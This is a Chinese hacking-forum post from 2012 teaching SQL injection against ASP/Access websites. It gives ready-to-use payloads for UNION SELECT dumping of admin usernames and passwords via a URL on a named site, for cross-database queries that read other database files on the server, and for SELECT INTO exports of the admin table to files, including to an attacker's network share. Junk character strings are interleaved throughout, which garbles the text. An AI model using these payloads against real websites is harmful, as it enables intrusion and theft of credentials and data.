找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2341|回复: 0
打印 上一主题 下一主题

Access高级注入语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:20:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
--------------------------------------------------------------
6 k$ ~' i/ I2 y$ B" u$ zunion查询法& q0 m' O8 {1 y/ u; d2 K
首先要说的就是查询办法,一般的查询办法就是! l- }# D2 o- w

1 k1 @3 x8 v0 I/ s/ d" g' c* C程序代码
7 r2 r" A# [( x# w) E: o# t' Y; wand 1=(select count(*) from admin where left(id,1)='1')
" Q1 g2 o' _* B7 a( l  \8 J
  d' s7 Y: b1 `这样开始判断了...就算你使用各种各样的工具,也是一个个字的去猜去判断对不对,不对再换一个.这样的坏处显而易见,慢. 特别是在猜测经过32位MD5加密过的段的时候...基本上你可以去泡壶茶再喝一杯.
: V& [& A0 A. \* t2 k; z/ N: K8 K7 u所以这个时候,union select横空出现.别以为只能在PHP里用哦...
, @- J/ O- o( P% q3 F8 S譬如你有一个ACCESS点:9 N3 x% V# f3 l  [. \. U" o$ K
程序代码
; V& R) i$ g3 x6 U& u5 ^" g. \, Dhttp://bbs.tian6.com/xiaoyang.asp?coder=16 c( R% C; P; q! ?* E' w7 g& L

1 U8 h: u- {0 G2 V8 v" s- o知道存在admin表(你当然可以拿个工具先快速猜出表和字段来),
! d1 K+ `- Q, `" e' U然后我们直接来:( l( v9 G: b' o! S1 k% ^4 O
程序代码( _% }& f3 e' o
http://bbs.tian6.com/xiaoyang.asp?coder=1 union select 1,2,3,4,5,6..... from admin [where coderx=1(如果有限制查询条件)]
& y  }  B9 {8 z/ a- h$ v, q9 P
5 ?( H5 E. ~0 D  M" D这里从1开始加到回显正常为止.然后替换URL里相应在页面出现的1~X为password,username之类的东西,就可以直接暴内容了.多方便,多快捷.茶可以先放放,凉一些再来喝了.' L  i6 ~$ ^. O, w: d
( K" j3 j4 a. H0 ]+ e  F

* n1 v* P4 w. @6 E& A' I9 X, G( h; K& {* y
---------------------------------------------------------------
; W: I( `  ~, R% X' fAccess跨库查询
& d+ m1 i- @; g/ x8 r% e$ K- X有时候某个网站服务器上有两个以上系统,你发现其中一个有ACCESS注入点,但是后台没法提权,另外一个系统没有注入点,但是后台却有你需要的功能.那么这个时候,跨库来了.当然,你还可以用来MDB溢出,渗透的过程等等.他的作用往往是意想不到的.$ M' m& ~. A4 S1 \$ S+ B7 Z
跨库的查询语句:% i, H2 c6 @& n* U" ?  K
子查询:% A, D) ~+ O  {, N- P$ K1 ?
程序代码
8 @% g6 V" l/ q# ^8 Mand (Select Count(*) from [D:\tianyang\backdoor\xiaoyang.mdb].test)>0
5 p7 T. K6 U1 q( L( e2 p
/ A8 _" b7 `( ?* Xunion查询:3 i/ u) ]4 {: f) ]5 Y* D* r6 b
程序代码
  Z8 i- r2 V9 a9 punion select 1,2,3,4.... from admin in "D:\xioatianyang\okok.asa" where id=10 ~. \) M; m0 N" @% P. t5 l
2 K+ b$ N" S. ?5 O9 M$ U" }/ u
跨库的作用当然不只这些了,大伙继续发挥吧..这里提供两篇参考过的文章连接:
1 X' k6 i# c/ \3 L+ w: p程序代码; Q1 F+ {* V7 R0 |# V( n7 |, ]
http://www.4ngel.net/article/46.htm
- V2 b4 J4 A2 S7 C- K) g# E3 uhttp://hf110.com/Article/hack/rqsl/200502/66.html
" ?+ w6 U- q! n$ @; I8 d/ o/ r, h; ?; d7 B
---------------------------------------------------------------
+ M4 M1 U1 g0 N1 U  e/ _Access注入,导出txt,htm,html
! w3 g3 O4 h& u子查询语句:
* x0 v! |0 J8 n- ^; [! ?程序代码
8 w8 z( Y; H* j  r9 p: F; w$ zSelect * into [test.txt] in 'd:\web\' 'text;' from admin5 ~  x: y" c& ~4 w3 M$ F2 |, t

8 D/ V) ~8 M7 \/ ]0 K这样就把admin表的内容以test类型存进了d:\web里面.
1 }/ \3 R. }. F+ ~& W) @UNION查询:+ \8 j$ A5 H. ]6 d" G; P! T. W3 V
程序代码
+ `" |- I/ q4 g1 n) P8 A! Gunion select * into [admin.txt] in 'c:\' 'test;' from admin
; v5 X$ Y8 R8 y% x' W
0 y! @7 J5 p( }) B而且这里也可以保存到本地来:
5 Q/ L9 P, ~+ h; u/ i程序代码
9 d. p" B# [, ASelect * into [test.txt] in '\\yourip\share' 'text;' from admin
7 X5 t( C8 O7 R- `
1 {5 ?# P" s( M4 K$ _不过,很多人包括我自己测试,本机数据库来操作是没问题的,但是一旦在注入点上,子查询会回显没有权限,union会回显动作查询不能作为行的来源.可以说还是个难题...原因大概是UNION只适用查询结合,UNION后面不能跟动作.和这个内容相关的,本论坛已有一帖:
/ [. N  s5 G1 A- {7 p& z3 D3 z& \. L$ S( D
程序代码
) V- s: g1 p# I. ]. z6 ~http://bbs.tian6.com/viewthread.php?tid=3016&extra=page%3D7
2 {& D  x' {; |( `: B4 k' ]
9 Y- j0 D5 W+ \  e3 y) {因为网上有许多和这相关的资料,所以我还是把他引进来了.如果一旦这方法运用成功的话,理论上我们只要知道表名,不需要知道段名,就可以看到该表所有内容了.或者我们可以建.php.tianyang  asp.asp之类的文件或者目录来导进文件~还是会很强大的.# y8 k3 `' n% N& o9 _% a; C) k! Q. |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表